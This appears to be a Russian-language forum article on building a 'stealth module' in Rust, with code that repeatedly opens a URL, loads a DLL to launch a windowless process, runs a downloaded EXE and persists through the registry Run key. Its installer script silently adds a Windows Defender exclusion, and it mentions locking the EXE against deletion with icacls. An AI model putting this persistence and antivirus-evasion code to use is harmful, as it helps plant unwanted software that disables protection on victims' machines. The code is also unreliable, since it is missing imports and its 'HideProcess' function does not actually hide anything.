Статья Создание стелс-модуля на Rust: динамическая загрузка DLL и автозапуск

[devqp]

Функционал исполняемого файла:
1. Циклическое открытие URL в браузере каждые 20 секунд
2. Динамическая загрузка DLL с функцией скрытия процесса
3. Загрузка и выполнение обновлённого EXE из Documents
4. Автозапуск через системный реестр

Пример Rust-кода:

use std::{fs::File, path::PathBuf, process::Command};
use libloading::{Library, Symbol};

fn main() {
    loop {
        webbrowser::open("https://...").unwrap();
        
        let lib = Library::new("x.dll").unwrap();
        unsafe {
            let hide_process: Symbol<unsafe extern "C" fn() -> i32> = lib.get(b"HideProcess").unwrap();
            hide_process();
        }

        Command::new("downloaded.exe").spawn().unwrap();
        thread::sleep(Duration::from_secs(20));
    }
}

DLL-функция для скрытия процесса (C++):

#include <Windows.h>

extern "C" __declspec(dllexport) int HideProcess() {
    STARTUPINFO si{sizeof(STARTUPINFO)};
    PROCESS_INFORMATION pi;
    return CreateProcess(NULL, L"exe.exe", NULL, NULL, FALSE, 
        CREATE_NO_WINDOW, NULL, NULL, &si, &pi) ? 0 : -1;
}

Настройка автозапуска через Inno Setup:

[Registry]
Root: HKCU; Subkey: "Software\Microsoft\Windows\CurrentVersion\Run";
ValueType: string; ValueName: "MyApp"; ValueData: "{app}\app.exe"

[Code]
procedure DisableRealTimeScanning;
begin
  Exec('powershell', '-Command Add-MpPreference -ExclusionPath "{app}"', '', SW_HIDE);
end;

Особенности реализации:
• Использование tokio runtime для асинхронной загрузки файлов
• Манипуляции с ACL через icacls для блокировки удаления EXE
• Обход Windows Defender через добавление исключений
• Персистентность через запись в ветку реестра Run